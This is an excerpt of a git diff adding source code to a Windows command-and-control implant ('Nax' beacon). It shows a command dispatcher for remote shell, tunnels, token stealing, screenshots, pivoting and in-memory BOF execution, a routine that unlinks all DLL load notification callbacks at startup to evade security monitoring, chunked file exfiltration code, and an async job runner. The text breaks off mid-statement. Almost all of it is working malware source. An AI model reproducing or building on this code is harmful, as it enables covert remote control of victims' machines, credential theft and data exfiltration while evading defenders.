---- */ + case NAX_CMD_LS: + *result_status = ( CmdLs( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_BOF (0x20) ---- */ + case NAX_CMD_BOF: { + INT bof_rc = NaxCmdBof( Nax, task->TaskId, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ); + if ( bof_rc == NAX_STATUS_ASYNC ) { + *result_status = NAX_STATUS_ASYNC; + *result_data_len = 0; + } else { + *result_status = ( bof_rc == NAX_OK ) ? NAX_STATUS_OK : NAX_STATUS_ERR; + } + return 1; + } + + /* ---- CMD_SCREENSHOT (0x21) - GDI desktop capture ---- */ + case NAX_CMD_SCREENSHOT: + *result_status = ( NaxCmdScreenshot( Nax, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + if ( *result_status != NAX_STATUS_OK ) *result_data_len = 0; + return 1; + + /* ---- CMD_DOWNLOAD (0x22) - initiate chunked file download ---- */ + case NAX_CMD_DOWNLOAD: + *result_status = ( NaxCmdDownload( Nax, task->TaskId, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_PS_LIST (0x23) ---- */ + case NAX_CMD_PS_LIST: + *result_status = ( CmdPsList( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_PS_KILL (0x24) ---- */ + case NAX_CMD_PS_KILL: + *result_status = ( CmdPsKill( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_PS_RUN (0x25) ---- */ + case NAX_CMD_PS_RUN: + *result_status = ( CmdPsRun( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_RM (0x27) - delete a file ---- */ + case NAX_CMD_RM: + *result_status = ( CmdRm( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_CHUNKSIZE (0x2B) - set download chunk size ---- */ + case NAX_CMD_CHUNKSIZE: + if ( task->ArgsLen >= 4 ) { + UINT32 newSz = NaxR32( task->Args ); + if ( newSz > NAX_DL_CHUNK_MAX ) newSz = NAX_DL_CHUNK_MAX; + if ( newSz < 4096 ) newSz = 4096; + Nax->Config.DlChunkSize = newSz; + NaxW32( result_data, newSz ); + *result_data_len = 4; + *result_status = NAX_STATUS_OK; + } else { + *result_status = NAX_STATUS_ERR; + *result_data_len = 0; + } + return 1; + + /* ---- CMD_UPLOAD (0x26) - write accumulated MemSave data to disk ---- */ + case NAX_CMD_UPLOAD: + *result_status = ( NaxCmdUpload( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_SAVEMEMORY (0x2A) - accumulate upload chunk ---- */ + case NAX_CMD_SAVEMEMORY: + *result_status = ( NaxCmdSaveMemory( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_PIVOT_EXEC (0x37) - write data to linked child ---- */ + case NAX_CMD_PIVOT_EXEC: + CmdPivotExec( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ); + return 0; /* no result frame - server already knows */ + + /* ---- CMD_LINK (0x38) - connect to child's named pipe ---- */ + case NAX_CMD_LINK: + *result_status = ( CmdLink( Nax, task->TaskId, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_UNLINK (0x39) - disconnect a linked child ---- */ + case NAX_CMD_UNLINK: + *result_status = ( CmdUnlink( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + +#if NAX_TRANSPORT_PROFILE != NAX_TRANSPORT_SMB + /* ---- CMD_PROFILE (0x30) - runtime profile update ---- */ + case NAX_CMD_PROFILE: + CmdProfile( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ); + *result_status = result_data[0]; + *result_data_len = 0; + return 1; +#endif + + /* ---- CMD_BOF_STOMP (0x31) - runtime BOF stomp reconfiguration ---- */ + case NAX_CMD_BOF_STOMP: + *result_status = ( NaxCmdBofStomp( Nax, task->Args, (UINT32)task->ArgsLen, + result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_DLL_NOTIFY_LIST (0x3A) - enumerate DLL load notification callbacks ---- */ + case NAX_CMD_DLL_NOTIFY_LIST: + *result_status = ( NaxCmdDllNotifyList( Nax, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_DLL_NOTIFY_REMOVE (0x3B) - remove all DLL load notification callbacks ---- */ + case NAX_CMD_DLL_NOTIFY_REMOVE: + *result_status = ( NaxCmdDllNotifyRemove( Nax, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_SLEEPMASK_SET (0x32) - load sleepmask BOF persistently ---- */ + case NAX_CMD_SLEEPMASK_SET: + *result_status = ( NaxCmdSleepmaskSet( Nax, task->Args, (UINT32)task->ArgsLen, + result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_SLEEPOBF_CONFIG (0x33) - runtime sleep obfuscation toggle ---- */ + case NAX_CMD_SLEEPOBF_CONFIG: + *result_status = ( NaxCmdSleepObfConfig( Nax, task->Args, (UINT32)task->ArgsLen, + result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_JOB_LIST (0x28) ---- */ + case NAX_CMD_JOB_LIST: + *result_status = ( NaxJobList( Nax, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_JOB_KILL (0x29) ---- */ + case NAX_CMD_JOB_KILL: + if ( task->ArgsLen >= 4 ) { + UINT32 killTaskId = NaxR32( task->Args ); + *result_status = ( NaxJobKill( Nax, killTaskId ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + } else { + *result_status = NAX_STATUS_ERR; + } + *result_data_len = 0; + return 1; + + /* ---- shell commands (0x47–0x49) ---- */ + case NAX_CMD_SHELL_START: + case NAX_CMD_SHELL_WRITE: + case NAX_CMD_SHELL_CLOSE: + NaxShellDispatch( Nax, task->TaskId, task->CmdId, task->Args, (UINT32)task->ArgsLen ); + return 0; + + /* ---- tunnel commands (0x3E–0x46) ---- */ + case NAX_CMD_TUNNEL_CONNECT_TCP: + case NAX_CMD_TUNNEL_WRITE_TCP: + case NAX_CMD_TUNNEL_CLOSE: + case NAX_CMD_TUNNEL_REVERSE: + case NAX_CMD_TUNNEL_PAUSE: + case NAX_CMD_TUNNEL_RESUME: + NaxTunnelDispatch( Nax, task->CmdId, task->Args, (UINT32)task->ArgsLen ); + return 0; + + /* ---- token commands (0x50–0x57) ---- */ + case NAX_CMD_TOKEN_GETUID: + *result_status = ( CmdTokenGetUid( Nax, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + case NAX_CMD_TOKEN_STEAL: + *result_status = ( CmdTokenSteal( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + case NAX_CMD_TOKEN_USE: + *result_status = ( CmdTokenUse( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + case NAX_CMD_TOKEN_LIST: + *result_status = ( CmdTokenList( Nax, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + case NAX_CMD_TOKEN_RM: + *result_status = ( CmdTokenRm( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + case NAX_CMD_TOKEN_REVERT: + *result_status = ( CmdTokenRevert( Nax, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + case NAX_CMD_TOKEN_MAKE: + *result_status = ( CmdTokenMake( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + case NAX_CMD_TOKEN_PRIVS: + *result_status = ( CmdTokenPrivs( Nax, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- unrecognised command ---- */ + default: + *result_status = NAX_STATUS_ERR; + *result_data_len = 0; + return 1; + } +} diff --git a/src_beacon/src/Commands/DllNotify.c b/src_beacon/src/Commands/DllNotify.c new file mode 100644 index 0000000..2dca6b8 --- /dev/null +++ b/src_beacon/src/Commands/DllNotify.c @@ -0,0 +1,181 @@ +/* beacon/src/Commands/DllNotify.c + * List and remove DLL load notification callbacks (LdrRegisterDllNotification). + * + * Technique: register a temp callback to find the list head in ntdll .data, + * then walk the doubly-linked list to enumerate/unlink entries. + * Reference: rad9800/misc - UnregisterAllLdrRegisterDllNotification.c */ + +#include "Nax.h" + +/* ========= [ dummy callback for list-head discovery ] ========= */ + +FUNC VOID NTAPI NaxDllNotifyDummy( + ULONG NotificationReason, + PLDR_DLL_NOTIFICATION_DATA NotificationData, + PVOID Context +) { + (void)NotificationReason; + (void)NotificationData; + (void)Context; +} + +/* ========= [ find the list head ] ========= */ + +FUNC PLIST_ENTRY NaxGetDllNotificationListHead( PNAX_INSTANCE Nax ) { + if ( !Nax->Ntdll.LdrRegisterDllNotification || !Nax->Ntdll.LdrUnregisterDllNotification ) + return NULL; + + HMODULE hNtdll = Nax->Ntdll.Handle; + if ( !hNtdll ) return NULL; + + PVOID cookie = NULL; + NTSTATUS st = Nax->Ntdll.LdrRegisterDllNotification( 0, NaxDllNotifyDummy, NULL, &cookie ); + if ( st != 0 || !cookie ) return NULL; + + PLDR_DLL_NOTIFICATION_ENTRY entry = (PLDR_DLL_NOTIFICATION_ENTRY)cookie; + + PIMAGE_NT_HEADERS ntHdr = C_PTR( U_PTR( hNtdll ) + ((PIMAGE_DOS_HEADER)hNtdll)->e_lfanew ); + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION( ntHdr ); + PVOID dataStart = NULL; + PVOID dataEnd = NULL; + for ( WORD i = 0; i < ntHdr->FileHeader.NumberOfSections; i++ ) { + if ( sec[i].Name[0] == '.' && sec[i].Name[1] == 'd' && + sec[i].Name[2] == 'a' && sec[i].Name[3] == 't' && + sec[i].Name[4] == 'a' ) { + dataStart = C_PTR( U_PTR( hNtdll ) + sec[i].VirtualAddress ); + dataEnd = C_PTR( U_PTR( dataStart ) + sec[i].Misc.VirtualSize ); + break; + } + } + + PLIST_ENTRY head = NULL; + if ( dataStart && dataEnd ) { + PLIST_ENTRY cur = entry->List.Flink; + while ( cur != &entry->List ) { + if ( U_PTR( cur ) >= U_PTR( dataStart ) && + U_PTR( cur ) < U_PTR( dataEnd ) ) { + head = cur; + break; + } + cur = cur->Flink; + } + } + + Nax->Ntdll.LdrUnregisterDllNotification( cookie ); + return head; +} + +/* ========= [ list callbacks ] ========= */ + +FUNC INT NaxCmdDllNotifyList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) { + PLIST_ENTRY head = NaxGetDllNotificationListHead( Nax ); + if ( !head ) { + UINT32 cap = *out_len; + *out_len = 0; + static const char err[] D_SEC( Bd ) = "Failed to locate DLL notification list head"; + UINT32 elen = 0; + while ( err[elen] ) elen++; + if ( elen <= cap ) { + MmCopy( out, err, elen ); + *out_len = elen; + } + return NAX_ERR_FAIL; + } + + UINT32 cap = *out_len; + UINT32 off = 0; + UINT32 count = 0; + + PLIST_ENTRY cur = head->Flink; + while ( cur != head ) { + PLDR_DLL_NOTIFICATION_ENTRY e = (PLDR_DLL_NOTIFICATION_ENTRY)cur; + count++; + + static const char p1[] D_SEC( Bd ) = "["; + static const char p2[] D_SEC( Bd ) = "] callback="; + static const char p3[] D_SEC( Bd ) = " ctx="; + static const char nl[] D_SEC( Bd ) = "\n"; + off = NaxAppendStr( (PCHAR)out, off, cap, p1 ); + off = NaxAppendInt( (PCHAR)out, off, cap, count ); + off = NaxAppendStr( (PCHAR)out, off, cap, p2 ); + off = NaxAppendPtr( (PCHAR)out, off, cap, U_PTR( e->Callback ) ); + off = NaxAppendStr( (PCHAR)out, off, cap, p3 ); + off = NaxAppendPtr( (PCHAR)out, off, cap, U_PTR( e->Context ) ); + off = NaxAppendStr( (PCHAR)out, off, cap, nl ); + + cur = cur->Flink; + } + + if ( count == 0 ) { + static const char none[] D_SEC( Bd ) = "No DLL notification callbacks registered"; + UINT32 nlen = 0; + while ( none[nlen] ) nlen++; + if ( nlen <= cap ) { + MmCopy( out, none, nlen ); + off = nlen; + } + } else { + static const char t1[] D_SEC( Bd ) = "Total: "; + static const char t2[] D_SEC( Bd ) = " callback(s)"; + off = NaxAppendStr( (PCHAR)out, off, cap, t1 ); + off = NaxAppendInt( (PCHAR)out, off, cap, count ); + off = NaxAppendStr( (PCHAR)out, off, cap, t2 ); + } + + *out_len = off; + return NAX_OK; +} + +/* ========= [ remove all callbacks ] ========= */ + +FUNC INT NaxCmdDllNotifyRemove( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) { + PLIST_ENTRY head = NaxGetDllNotificationListHead( Nax ); + if ( !head ) { + UINT32 cap = *out_len; + *out_len = 0; + static const char err[] D_SEC( Bd ) = "Failed to locate DLL notification list head"; + UINT32 elen = 0; + while ( err[elen] ) elen++; + if ( elen <= cap ) { + MmCopy( out, err, elen ); + *out_len = elen; + } + return NAX_ERR_FAIL; + } + + UINT32 count = 0; + while ( head->Flink != head ) { + PLIST_ENTRY entry = head->Flink; + entry->Blink->Flink = entry->Flink; + entry->Flink->Blink = entry->Blink; + count++; + } + + UINT32 cap = *out_len; + UINT32 off = 0; + static const char m1[] D_SEC( Bd ) = "Removed "; + static const char m2[] D_SEC( Bd ) = " DLL notification callback(s)"; + off = NaxAppendStr( (PCHAR)out, off, cap, m1 ); + off = NaxAppendInt( (PCHAR)out, off, cap, count ); + off = NaxAppendStr( (PCHAR)out, off, cap, m2 ); + *out_len = off; + + return NAX_OK; +} + +/* ========= [ startup unhook (called from Main.c) ] ========= */ + +FUNC VOID NaxDllNotifyUnhookAll( PNAX_INSTANCE Nax ) { + PLIST_ENTRY head = NaxGetDllNotificationListHead( Nax ); + if ( !head ) return; + + UINT32 count = 0; + while ( head->Flink != head ) { + PLIST_ENTRY entry = head->Flink; + entry->Blink->Flink = entry->Flink; + entry->Flink->Blink = entry->Blink; + count++; + } + + NaxDbg( Nax, "DllNotify: removed %d callback(s) at startup", count ); +} diff --git a/src_beacon/src/Commands/Download.c b/src_beacon/src/Commands/Download.c new file mode 100644 index 0000000..1fa3f58 --- /dev/null +++ b/src_beacon/src/Commands/Download.c @@ -0,0 +1,103 @@ +/* beacon/src/Commands/Download.c + * CMD_DOWNLOAD (0x22) - initiate a chunked file download. + * + * Opens the file, registers a NAX_DOWNLOAD node, and returns the START + * result. Subsequent chunks are sent by NaxProcessDownloads() in the + * heartbeat relay phase (one chunk per sleep cycle). + * + * Task args: file_path (plain byte string, no length prefix). + * + * START result: + * [NAX_DL_START(1)][fileId(4LE)][fileSize(4LE)][fname_len(4LE)][fname] + * + * Failure result: + * [Win32_error(4LE)] (status=ERR, data_len=4) */ + +#include "Nax.h" + +FUNC INT NaxCmdDownload( PNAX_INSTANCE Nax, + UINT32 taskId, + const PBYTE args, + UINT32 args_len, + PBYTE out, + UINT32* out_len ) { + if ( !args || args_len < 4 ) return NAX_ERR_INVAL; + + /* First 4 bytes: per-download chunk size override (0 = use global) */ + UINT32 dlChunkSize = NaxR32( args ); + PBYTE pathArgs = (PBYTE)args + 4; + UINT32 pathLen = args_len - 4; + + /* Build null-terminated path */ + PCHAR path_buf = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, pathLen + 1 ); + if ( !path_buf ) return NAX_ERR_NOMEM; + MmCopy( path_buf, pathArgs, pathLen ); + path_buf[ pathLen ] = '\0'; + + /* Open file */ + HANDLE hFile = Nax->Kernel32.CreateFileA( path_buf, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); + if ( hFile == INVALID_HANDLE_VALUE ) { + DWORD err = Nax->Kernel32.GetLastError ? Nax->Kernel32.GetLastError() : 0; + NaxWriteWin32ErrCode( out, out_len, err ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf ); + return NAX_ERR_FAIL; + } + + /* File size */ + DWORD fsize_hi = 0; + DWORD fsize_lo = Nax->Kernel32.GetFileSize( hFile, &fsize_hi ); + if ( fsize_lo == (DWORD)( -1 ) || fsize_hi > 0 ) { + DWORD err = Nax->Kernel32.GetLastError ? Nax->Kernel32.GetLastError() : 0; + NaxWriteWin32ErrCode( out, out_len, err ); + Nax->Kernel32.CloseHandle( hFile ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf ); + return NAX_ERR_FAIL; + } + UINT32 fsize = (UINT32)fsize_lo; + + /* Basename */ + PCHAR fname = path_buf; + for ( UINT32 i = 0; path_buf[i]; i++ ) + if ( path_buf[i] == '\\' || path_buf[i] == '/' ) + fname = path_buf + i + 1; + UINT32 fname_len = NaxStrLen( fname ); + + /* Generate random fileId */ + UINT32 fileId = 0; + Nax->Bcrypt.BCryptGenRandom( NULL, (PBYTE)&fileId, 4, BCRYPT_USE_SYSTEM_PREFERRED_RNG ); + + /* Allocate download node */ + NAX_DOWNLOAD* dl = (NAX_DOWNLOAD*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_DOWNLOAD ) ); + if ( !dl ) { + Nax->Kernel32.CloseHandle( hFile ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf ); + return NAX_ERR_NOMEM; + } + dl->TaskId = taskId; + dl->FileId = fileId; + dl->hFile = hFile; + dl->FileSize = fsize; + dl->Index = 0; + dl->ChunkSize = dlChunkSize; + dl->Next = Nax->DownloadHead; + Nax->DownloadHead = dl; + + /* Build START result: [sub(1)][fileId(4LE)][fileSize(4LE)][fname_len(4LE)][fname] */ + UINT32 result_sz = 1u + 4u + 4u + 4u + fname_len; + if ( result_sz > *out_len ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf ); + return NAX_ERR_NOMEM; + } + + PBYTE p = out; + *p++ = NAX_DL_START; + NaxW32( p, fileId ); p += 4; + NaxW32( p, fsize ); p += 4; + NaxW32( p, fname_len ); p += 4; + if ( fname_len ) { MmCopy( p, fname, fname_len ); p += fname_len; } + + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf ); + + *out_len = result_sz; + return NAX_OK; +} diff --git a/src_beacon/src/Commands/Downloader.c b/src_beacon/src/Commands/Downloader.c new file mode 100644 index 0000000..836a1d4 --- /dev/null +++ b/src_beacon/src/Commands/Downloader.c @@ -0,0 +1,88 @@ +/* beacon/src/Commands/Downloader.c + * Per-heartbeat download chunk relay. + * + * NaxProcessDownloads() is called from the heartbeat relay phase (after task + * dispatch, alongside pivots/jobs/tunnels). For each active NAX_DOWNLOAD it + * reads one NAX_DL_CHUNK_SIZE chunk and packs a result entry. + * + * Output buffer format (packed entries, parsed by HttpRelayDownloads): + * [taskId(4LE)][dataLen(4LE)][data(n)] repeated + * + * data for CONTINUE: + * [NAX_DL_CONTINUE(1)][fileId(4LE)][chunk_bytes] + * + * data for FINISH: + * [NAX_DL_FINISH(1)][fileId(4LE)] */ + +#include "Nax.h" + +FUNC UINT32 NaxProcessDownloads( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap ) { + UINT32 off = 0; + NAX_DOWNLOAD* dl = Nax->DownloadHead; + NAX_DOWNLOAD** prev = &Nax->DownloadHead; + + while ( dl ) { + NAX_DOWNLOAD* next = dl->Next; + + /* ---- read one chunk ---- */ + UINT32 chunkSz = dl->ChunkSize ? dl->ChunkSize : Nax->Config.DlChunkSize; + if ( chunkSz == 0 || chunkSz > NAX_DL_CHUNK_MAX ) + chunkSz = NAX_DL_CHUNK_DEFAULT; + UINT32 want = chunkSz; + if ( dl->Index + want > dl->FileSize ) + want = dl->FileSize - dl->Index; + + /* space check: header(8) + sub(1) + fileId(4) + data(want) */ + UINT32 entry_sz = 8 + 1 + 4 + want; + if ( off + entry_sz > out_cap ) { + prev = &dl->Next; + dl = next; + continue; + } + + DWORD nread = 0; + BOOL ok = TRUE; + if ( want > 0 ) + ok = Nax->Kernel32.ReadFile( dl->hFile, out + off + 8 + 1 + 4, want, &nread, NULL ); + + if ( !ok || ( want > 0 && nread == 0 ) ) { + /* read error - finish with what we have */ + Nax->Kernel32.CloseHandle( dl->hFile ); + *prev = next; + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dl ); + dl = next; + continue; + } + + /* pack CONTINUE entry */ + UINT32 data_len = 1 + 4 + nread; + NaxW32( out + off, dl->TaskId ); off += 4; + NaxW32( out + off, data_len ); off += 4; + out[ off++ ] = NAX_DL_CONTINUE; + NaxW32( out + off, dl->FileId ); off += 4; + off += nread; /* data already in place from ReadFile */ + + dl->Index += nread; + + /* check if download is complete */ + if ( dl->Index >= dl->FileSize ) { + /* space check for FINISH entry: header(8) + sub(1) + fileId(4) = 13 */ + if ( off + 13 <= out_cap ) { + NaxW32( out + off, dl->TaskId ); off += 4; + NaxW32( out + off, 5 ); off += 4; /* data_len = 1 + 4 */ + out[ off++ ] = NAX_DL_FINISH; + NaxW32( out + off, dl->FileId ); off += 4; + } + Nax->Kernel32.CloseHandle( dl->hFile ); + *prev = next; + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dl ); + dl = next; + continue; + } + + prev = &dl->Next; + dl = next; + } + + return off; +} diff --git a/src_beacon/src/Commands/Jobs.c b/src_beacon/src/Commands/Jobs.c new file mode 100644 index 0000000..34299e3 --- /dev/null +++ b/src_beacon/src/Commands/Jobs.c @@ -0,0 +1,328 @@ +/* beacon/src/Commands/Jobs.c + * Async BOF job manager - create, start, process, kill, list. */ + +#include "Nax.h" +#include "Common.h" +#include "Bof.h" +#include "Jobs.h" + +/* ========= [ helpers ] ========= */ + +static VOID JobFreeMedia( PNAX_INSTANCE Nax, NAX_BOF_MEDIA* head ) { + while ( head ) { + NAX_BOF_MEDIA* next = head->Next; + if ( head->Data ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, head->Data ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, head ); + head = next; + } +} + +static NAX_BOF_MEDIA* JobReverseMedia( NAX_BOF_MEDIA* head ) { + NAX_BOF_MEDIA* prev = NULL; + while ( head ) { + NAX_BOF_MEDIA* next = head->Next; + head->Next = prev; + prev = head; + head = next; + } + return prev; +} + +static UINT32 JobPackOutput( PNAX_INSTANCE Nax, NAX_BOF_CTX* ctx, PBYTE out, UINT32 out_cap, BOOL includeStompHdr ) { + UINT32 off = 0; + BOOL has_text = ( ctx->Len > 0 ); + BOOL has_media = ( ctx->MediaHead != NULL ); + + /* Prepend 2-byte stomp metadata on final drain */ + if ( includeStompHdr && off + 2 <= out_cap ) { + out[ off++ ] = ctx->Stomped; + out[ off++ ] = ctx->StompSlot; + } + + if ( has_media ) { + ctx->MediaHead = JobReverseMedia( ctx->MediaHead ); + for ( NAX_BOF_MEDIA* m = ctx->MediaHead; m; m = m->Next ) { + if ( off + m->Len <= out_cap ) { + MmCopy( out + off, m->Data, m->Len ); + off += m->Len; + } + } + JobFreeMedia( Nax, ctx->MediaHead ); + ctx->MediaHead = NULL; + } + + if ( has_text && has_media ) { + if ( off + 5u + ctx->Len <= out_cap ) { + out[ off ] = 0x00; + NaxW32( out + off + 1, ctx->Len ); + MmCopy( out + off + 5, ctx->Buf, ctx->Len ); + off += 5u + ctx->Len; + } + } else if ( has_text ) { + UINT32 copy = ( ctx->Len < out_cap - off ) ? ctx->Len : out_cap - off; + MmCopy( out + off, ctx->Buf, copy ); + off += copy; + } + ctx->Len = 0; + return off; +} + +/* ========= [ create ] ========= */ + +FUNC NAX_JOB* NaxJobCreate( PNAX_INSTANCE Nax, UINT32 taskId, + PBYTE coffBuf, UINT32 coffSize, + PBYTE argsBuf, UINT32 argsSize, + DWORD timeoutMs ) { + NAX_JOB* job = (NAX_JOB*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_JOB ) ); + if ( !job ) return NULL; + MmZero( job, sizeof( NAX_JOB ) ); + + job->Nax = Nax; + job->TaskId = taskId; + job->State = NAX_JOB_PENDING; + job->TimeoutMs = timeoutMs ? timeoutMs : JOB_DEFAULT_TIMEOUT_MS; + + job->CoffCopy = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, coffSize ); + if ( !job->CoffCopy ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job ); return NULL; } + MmCopy( job->CoffCopy, coffBuf, coffSize ); + job->CoffSize = coffSize; + + if ( argsSize > 0 && argsBuf ) { + job->ArgsCopy = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, argsSize ); + if ( !job->ArgsCopy ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->CoffCopy ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job ); + return NULL; + } + MmCopy( job->ArgsCopy, argsBuf, argsSize ); + job->ArgsSize = argsSize; + } + + job->BofCtx.Buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, BOF_OUTPUT_CAP ); + if ( !job->BofCtx.Buf ) { + if ( job->ArgsCopy ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->ArgsCopy ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->CoffCopy ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job ); + return NULL; + } + job->BofCtx.Len = 0; + job->BofCtx.Cap = BOF_OUTPUT_CAP; + + Nax->Ntdll.RtlInitializeCriticalSection( &job->Lock ); + job->hStopEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL ); + + job->Next = Nax->JobHead; + Nax->JobHead = job; + + return job; +} + +/* ========= [ thread proc ] ========= */ + +static VOID CALLBACK NaxJobThreadProc( PTP_CALLBACK_INSTANCE Inst, PVOID Context, PTP_WORK Work ) { + (void)Inst; (void)Work; + NAX_JOB* job = (NAX_JOB*)Context; + + /* propagate NAX_INSTANCE to this thread's TEB so G_INSTANCE works */ + PNAX_INSTANCE Nax = job->Nax; + NaxCurrentTeb()->NtTib.ArbitraryUserPointer = (PVOID)Nax; + + Nax->Kernel32.DuplicateHandle( Nax->Kernel32.GetCurrentProcess(), Nax->Kernel32.GetCurrentThread(), + Nax->Kernel32.GetCurrentProcess(), &job->hThread, 0, FALSE, DUPLICATE_SAME_ACCESS ); + + Nax->CurrentJob = job; + + /* swap BofCtx to per-job buffer so BOF output goes to the job's own accumulator */ + Nax->Ntdll.RtlEnterCriticalSection( &job->Lock ); + job->SavedBofCtx = Nax->BofCtx; + Nax->BofCtx = job->BofCtx; + Nax->Ntdll.RtlLeaveCriticalSection( &job->Lock ); + + NaxBofExecute( Nax, job->CoffCopy, job->CoffSize, job->ArgsCopy, job->ArgsSize ); + + /* watchdog may have abandoned us - don't touch shared state, just return to pool */ + if ( job->Abandoned ) + return; + + /* collect output back into job */ + Nax->Ntdll.RtlEnterCriticalSection( &job->Lock ); + job->BofCtx = Nax->BofCtx; + Nax->BofCtx = job->SavedBofCtx; + Nax->Ntdll.RtlLeaveCriticalSection( &job->Lock ); + + /* zero+free COFF copy */ + MmZero( job->CoffCopy, job->CoffSize ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->CoffCopy ); + job->CoffCopy = NULL; + if ( job->ArgsCopy ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->ArgsCopy ); + job->ArgsCopy = NULL; + } + + job->State = NAX_JOB_FINISHED; + Nax->CurrentJob = NULL; + + Nax->Kernel32.SetEvent( Nax->JobWakeEvent ); +} + +/* ========= [ start ] ========= */ + +FUNC INT NaxJobStart( PNAX_INSTANCE Nax, NAX_JOB* job ) { + PTP_WORK work = NULL; + NTSTATUS st = Nax->Ntdll.TpAllocWork( &work, (PTP_WORK_CALLBACK)NaxJobThreadProc, job, NULL ); + if ( !NT_SUCCESS( st ) || !work ) { + NaxDbg( Nax, "[job] TpAllocWork failed: 0x%08x", st ); + return NAX_ERR_FAIL; + } + + job->State = NAX_JOB_RUNNING; + job->StartTick = Nax->Kernel32.GetTickCount64(); + Nax->Ntdll.TpPostWork( work ); + Nax->Ntdll.TpReleaseWork( work ); + + NaxDbg( Nax, "[job] started taskId=0x%08x 